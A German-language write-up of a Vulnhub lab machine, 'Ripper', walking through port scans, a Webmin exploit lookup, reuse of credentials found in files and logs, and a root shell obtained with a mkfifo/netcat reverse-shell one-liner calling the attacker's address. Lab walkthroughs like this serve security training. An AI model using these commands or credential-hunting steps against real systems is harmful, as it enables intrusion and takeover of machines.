Ripper - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
gobuster
nikto
nmap
searchsploit
dirbuster
wfuzz
ssh
find
cat
su
grep
rm
mkfifo
nc

Inhaltsverzeichnis

Reconnaissance

In dieser Phase sammeln wir Informationen über das Zielsystem. Wir beginnen mit einem ARP-Scan, um die IP-Adresse des Ziels im lokalen Netzwerk zu ermitteln.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.127 08:00:27:69:aa:19 PCS Systemtechnik GmbH
                    

Der ARP-Scan hat die IP-Adresse 192.168.2.127 des Zielsystems ermittelt. Die MAC-Adresse ist 08:00:27:69:aa:19, und der Hersteller ist PCS Systemtechnik GmbH. Wir notieren uns auch, dass der Login-Screen "ripper" und "cubes" anzeigt.

Wir fügen nun die IP-Adresse und den Hostnamen in die /etc/hosts-Datei ein, um die spätere Verwendung zu erleichtern.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
 192.168.2.127 ripper.vuln
                    

Wir haben die IP-Adresse und den Hostnamen in die /etc/hosts-Datei eingefügt. Dies ermöglicht uns, den Hostnamen `ripper.vuln` anstelle der IP-Adresse zu verwenden.

Als Nächstes verwenden wir Gobuster, um nach versteckten Verzeichnissen und Dateien auf dem Webserver zu suchen. Gobuster ist ein Tool zum Brute-Force-Auffinden von URIs (Verzeichnisse und Dateien) auf Webservern.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://ripper.vuln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
==============================================================================================================================

http://ripper.vuln/index.html (Status: 200) [Size: 10918]

==============================================================================================================================
                    

Gobuster hat nur die index.html-Seite gefunden. Wir werden den Webserver mit Nikto weiter untersuchen.

Web Enumeration

Wir verwenden Nikto, um den Webserver auf Port 80 auf Schwachstellen zu scannen. Nikto ist ein Webserver-Scanner, der auf bekannte Schwachstellen und Konfigurationsfehler prüft.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.127
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.2.127
+ Target Hostname: 192.168.2.127
+ Target Port: 80
+ Start Time: 2023-06-06 18:18:12 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See:
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a
different fashion to the MIME type. See:
https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 2aa6, size: 5c3f2156d5d01, mtime: gzip. See:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: POST, OPTIONS, HEAD, GET .
+ /icons/README: Apache default file found. See:
https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time: 2023-06-06 18:18:33 (GMT2) (21 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                    

Nikto hat einige interessante Punkte gefunden:

Wir führen nun einen umfassenden Nmap-Scan durch, um offene Ports und Dienste auf dem Zielsystem zu identifizieren.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -AO 192.168.2.127 -p- | grep open
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
10000/tcp open http MiniServ 1.910 (Webmin httpd)
                    

Der Nmap-Scan hat die folgenden offenen Ports identifiziert:

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -AO 192.168.2.127 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-06 18:18 CEST
Nmap scan report for ripper.vuln (192.168.2.127)
Host is up (0.00017s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open tcpwrapped
| ssh-hostkey:
| 2048 091a066eeda09b6fd7c778833af77a9c (RSA)
| 256 99f1837c15b9dba7a8569605ae5dd3ee (ECDSA)
|_ 256 f48c5a9099ead624ba5a2d13e9ce680c (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
10000/tcp open http MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
MAC Address: 08:00:27:69:AA:19 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 0.17 ms ripper.vuln (192.168.2.127)
                    

Der vollständige Nmap-Scan bestätigt die oben genannten Dienste und liefert zusätzliche Details wie die SSH-Hostkeys und den Betriebssystemkern. Wir werden den Webmin-Dienst auf Port 10000 genauer untersuchen.

Beim Zugriff auf http://ripper.vuln:10000/ werden wir auf HTTPS umgeleitet. Der Zugriff auf https://ripper.vuln:10000/ zeigt einen Webmin-Login-Bildschirm an.

Wir suchen mit searchsploit nach bekannten Schwachstellen in Webmin 1.910.

┌──(root㉿cyber)-[~]
└─# searchsploit "webmin 1.910"
------------------------------------------------------------ ---------------------------------
 Exploit Title | Path
------------------------------------------------------------ ---------------------------------
Webmin 1.910 - 'Package Updates' Remote Command Execution ( | linux/remote/46984.rb
Webmin  1.920 - 'rpc.cgi' Remote Code Execution (Metasploi | linux/webapps/47330.rb
------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
                    

Searchsploit hat zwei Exploits für Webmin gefunden. Wir wählen den "Package Updates" Remote Command Execution Exploit (46984.rb) aus.

┌──(root㉿cyber)-[~]
└─# searchsploit -m linux/remote/46984.rb
  Exploit: Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit)
      URL: https://www.exploit-db.com/exploits/46984
     Path: /usr/share/exploitdb/exploits/linux/remote/46984.rb
    Codes: CVE-2019-12840
 Verified: True
File Type: Ruby script, Unicode text, UTF-8 text
Copied to: /root/46984.rb
                    

Wir kopieren den Exploit auf unser System. Als Nächstes verwenden wir Dirbuster, um weitere Verzeichnisse auf dem Webserver zu finden.

┌──(root㉿cyber)-[~]
└─# dirbuster http://ripper.vuln/
Juni 06, 2023 6:35:42 PM java.util.prefs.FileSystemPreferences$1 run
INFO: Created user preferences directory.
Starting OWASP DirBuster 1.0-RC1
Starting dir/file list based brute forcing
Dir found: / - 200
Dir found: /icons/ - 403
Dir found: /icons/small/ - 403
Dir found: /rips/ - 200
http://ripper.vuln/rips (Status: 301) [Size: 309] [--> http://ripper.vuln/rips/]
                    

Dirbuster hat das Verzeichnis /rips/ gefunden. Der Zugriff auf http://ripper.vuln/rips/ leitet auf http://ripper.vuln/rips/ weiter. Wir untersuchen das /rips/-Verzeichnis weiter.

Initial Access

Wir untersuchen die /rips/-Anwendung, um potenzielle Schwachstellen zu finden. Die Anwendung scheint Code-Analyse-Funktionen zu haben.

Beim Aufrufen von http://ripper.vuln/rips/ wird ein Hinweis auf eine File Disclosure-Schwachstelle in /var/www/html/rips/windows/code.php angezeigt.

Wir versuchen, die /etc/passwd-Datei über die File Disclosure-Schwachstelle auszulesen.


http://ripper.vuln/rips/windows/code.php?file=/etc/passwd

 Invalid file specified.
                    

Der Versuch, die /etc/passwd-Datei direkt auszulesen, schlägt fehl. Es scheint eine Filterung zu geben. Wir versuchen andere Dateien.

Wir führen Gobuster aus, um weitere Dateien im /rips/windows/-Verzeichnis zu finden.


http://ripper.vuln/rips/windows/help.php (Status: 200) [Size: 1141]
http://ripper.vuln/rips/windows/code.php (Status: 200) [Size: 90]
http://ripper.vuln/rips/windows/function.php (Status: 200) [Size: 74]
http://ripper.vuln/rips/windows/exploit.php (Status: 200) [Size: 14]
                    

Wir haben die Dateien help.php, code.php, function.php und exploit.php gefunden. Wir untersuchen die Datei exploit.php.


http://ripper.vuln/rips/windows/exploit.php?file=id
 #!/usr/bin/php -f

#
# id curl exploit
#

general settings:
URL:
COOKIEJAR:
Max Exec Time: (s)
SSL: BasicAuth:
                    

Die Datei exploit.php scheint ein PHP-Skript zu sein. Wir versuchen, den Parameter file zu manipulieren, um Befehle auszuführen.

Wir verwenden wfuzz, um den Parameter file auf Command Injection zu testen.

┌──(root㉿cyber)-[~]
└─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://ripper.vuln/rips/windows/exploit.php?FUZZ=id" --hc 400,401,402,403,404 --hl 0
Target: http://ripper.vuln/rips/windows/exploit.php?FUZZ=id

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000000751: 200 48 L 102 W 1158 Ch "file"

Total time: 142.5391
Processed Requests: 220552
Filtered Requests: 220551
Requests/sec.: 1547.308
                    

Wfuzz findet, dass der Parameter "file" existiert. Wir betrachten den Hinweis im Ripper Code, um die korrekte Datei zu finden.

Wir finden die Anmeldedaten für den Benutzer "ripper" in der Datei /secret.php.

Wir versuchen nun, uns per SSH mit dem Benutzer "ripper" und dem Passwort "Gamespeopleplay" anzumelden.

┌──(root㉿cyber)-[~]
└─# ssh ripper@ripper.vuln
The authenticity of host 'ripper.vuln (192.168.2.127)' can't be established.
ED25519 key fingerprint is SHA256:Gz/RqLZwvom5GaG8tBiFtAT9fnNDcbSol7p6Fnfe0G0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'ripper.vuln' (ED25519) to the list of known hosts.

ripper@ripper.vuln's password: Gamespeopleplay
                    

Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 5.4.0-42-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch

95 packages can be updated.
1 update is a security update.

New release '20.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Your Hardware Enablement Stack (HWE) is supported until April 2023.
*** System restart required ***
Last login: Fri Jun 4 13:26:34 2021 from 10.0.0.154
ripper@ripper-min:~$
                    

Fantastisch! Wir haben uns erfolgreich als Benutzer "ripper" angemeldet.

Privilege Escalation POC

Nachdem wir uns als Benutzer "ripper" angemeldet haben, suchen wir nach Möglichkeiten, unsere Privilegien zu erhöhen. Wir beginnen damit, die .bash_history-Datei zu untersuchen, um möglicherweise interessante Befehle oder Anmeldedaten zu finden.

ripper@ripper-min:~$ cat .bash_history
ls
sudo -l
exit
sudo su
cd /var/
cd /home/
ls
cd /opt/
cd cubes/
;s
ls
cd ..
ls
cd /mnt/
l
cat secret.file
su cubes
ls
cat secret.file
ls
cd /var/
su root
sudo
sudo apt
su root
cd /var/
su cubes
ls
cd /home/ripper/
ls
nano flag.txt
cat flag.txt
cd /root/
su root
                

Die .bash_history-Datei zeigt einige interessante Befehle, wie z.B. den Versuch, mit "su root" Root-Rechte zu erlangen, und den Zugriff auf die Datei /mnt/secret.file.

Wir lesen den Inhalt der Datei flag.txt.

ripper@ripper-min:~$ cat flag.txt
__________.____________________________________________
\______ \ \______ \______ \ _ _____/\______ \
| _______/ || _______/| _______/| ____)_ | _______/
| | \ || | | | | | | \
|____|_ /___||____| |____| /_______ / |____|_ /
\/ \/ \/

flag{15ea80f080be3714df1ef97bac5d7151}

C0ngratulation on getting user ! Lets get root now :)
                

Wir haben die User-Flag gefunden! Der Text deutet an, dass wir nun Root-Rechte erlangen sollen.

Wir suchen nach Dateien, deren Namen mit "secret" beginnen, um weitere Informationen zu finden.

ripper@ripper-min:~$ find / -type f -name secret* 2>/dev/null
/snap/core18/2066/usr/lib/python3.6/__pycache__/secrets.cpython-36.pyc
/snap/core18/2066/usr/lib/python3.6/secrets.py
/snap/core18/1885/usr/lib/python3.6/__pycache__/secrets.cpython-36.pyc
/snap/core18/1885/usr/lib/python3.6/secrets.py
/snap/gnome-3-34-1804/36/usr/lib/python3.6/secrets.py
/snap/gnome-3-34-1804/66/usr/lib/python3.6/secrets.py
/mnt/secret.file
/usr/lib/python3/dist-packages/pymacaroons/field_encryptors/secret_box_encryptor.py
/usr/lib/python3/dist-packages/pymacaroons/field_encryptors/__pycache__/secret_box_encryptor.cpython-36.pyc
/usr/lib/python3/dist-packages/nacl/secret.py
/usr/lib/python3/dist-packages/nacl/__pycache__/secret.cpython-36.pyc
/usr/lib/python3.6/secrets.py
/usr/lib/python3.6/__pycache__/secrets.cpython-36.pyc
/usr/share/cups/data/secret.pdf
/usr/share/cups/banners/secret
                

Die Suche hat mehrere Dateien gefunden, aber /mnt/secret.file erscheint am vielversprechendsten.

ripper@ripper-min:~$ cat /mnt/secret.file
This is my secret file

[file system]
-passwd : Il00tpeople
                

Die Datei /mnt/secret.file enthält den Hinweis "-passwd : Il00tpeople". Dies könnte das Passwort für den Benutzer "cubes" sein, da wir diesen im Login Screen gesehen haben.

Privilege Escalation

Nachdem wir nun das potenzielle Passwort für den Benutzer "cubes" haben, versuchen wir, uns als dieser Benutzer anzumelden.

ripper@ripper-min:~$ su root
Password:
su: Authentication failure
                

Der Versuch, uns direkt als Root anzumelden, schlägt fehl. Dies war jedoch zu erwarten.

ripper@ripper-min:~$ ls -la /home/
total 16
drwxr-xr-x 4 root root 4096 Jun 4 2021 .
drwxr-xr-x 24 root root 4096 Jun 6 14:06 ..
drwxr-xr-x 15 cubes cubes 4096 Jun 4 2021 cubes
drwxr-xr-x 16 ripper ripper 4096 Jun 4 2021 ripper
                

Wir versuchen nun, uns als Benutzer "cubes" anzumelden.

ripper@ripper-min:/home/cubes$ su cubes
Password: Il00tpeople
                

cubes@ripper-min:~$
                

Wir haben uns erfolgreich als Benutzer "cubes" angemeldet! Nun überprüfen wir, ob der Benutzer "cubes" Sudo-Rechte hat.

cubes@ripper-min:~$ sudo -l
[sudo] password for cubes:
Sorry, user cubes may not run sudo on ripper-min.
                

Der Benutzer "cubes" hat keine Sudo-Rechte. Wir untersuchen die .bash_history-Datei des Benutzers "cubes", um weitere Hinweise zu finden.

cubes@ripper-min:~$ cat .bash_history
cd /var/
ls
cd webmin/
ks
ls
cd backup/
ls
cd /mnt/
ls -la
nano s.txt
ls
rm s.txt
nano secret.file
su ripper
sudo apt
su root
cd /var/
ls
cd webmin/
ls
mkdir backup
cd backup/
cd ..
ls
cat miniserv.
cat miniserv.log
cd modules/
ls
cd ..
ls
cat miniserv.error
ls
cat blocked
cp miniserv.error backup/miniser.log
cd backup/
ls
nano miniser.log
cd /mnt/
ls
nano secret.file
su root
                

Die .bash_history-Datei des Benutzers "cubes" zeigt, dass er das Webmin-Verzeichnis untersucht hat. Wir suchen nach weiteren Hinweisen in den Webmin-Konfigurationsdateien.

Wir suchen nach Anmeldedaten in den Webmin-Logdateien.

cubes@ripper-min:~$ cd /var/webmin/backup/

            
cubes@ripper-min:/var/webmin/backup$ ll
total 12
drwxrwxr-x+ 2 cubes cubes 4096 Jun 4 2021 ./
drwxrwx---+ 4 root bin 4096 Jun 4 2021 ../
-rw-rwx---+ 1 cubes cubes 2660 Jun 4 2021 miniser.log*
                
cubes@ripper-min:/var/webmin/backup$ grep pass miniser.log
[04/Jun/2021:11:33:16 -0400] [10.0.0.154] Authentication : session_login.cgi=username=admin&pass=tokiohotel
                

Wir haben das Passwort "tokiohotel" für den Benutzer "admin" gefunden! Dies sind die Anmeldedaten für Webmin.

Wir versuchen nun, uns als Root anzumelden.

cubes@ripper-min:/var/webmin/backup$ su root
Password: tokiohotel
su: Authentication failure
                

Der Versuch, uns direkt als Root anzumelden, schlägt erneut fehl. Das Passwort gilt für Webmin, nicht für den Systembenutzer Root.

Wir melden uns bei Webmin mit den Anmeldedaten admin:tokiohotel an.

Nach der Anmeldung bei Webmin finden wir ein Terminal-Modul. Wir verwenden dieses Terminal, um eine Reverse Shell zu erhalten.


[admin@ripper-min ~]# rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.113 4444 >/tmp/f
                

Auf unserem System starten wir einen Netcat-Listener.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.113] from (UNKNOWN) [192.168.2.127] 43458
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
#
# pwd
/root
# cat flag.txt
                

.---..-.-.-..-..-..--. .---. .-..---..---..---..---.
| |-'| | | || .` || \ \### | | < | || |-'| |-'| |- | | <
`-' ``-'`-'`-'-' `-'  `-'`-'`-'`-' ---'`-'`-'

COngrats !!! You have rooted this box !!

Follow me on twitter @san3ncrypt3d
#
                

Wir haben eine Root-Shell erhalten!

Flags

cat root.txt
5C42D6BB0EE9CE4CB7E7349652C45C4A
cat user.txt
c7d0a8de1e03b25a6f7ed2d91b94dad6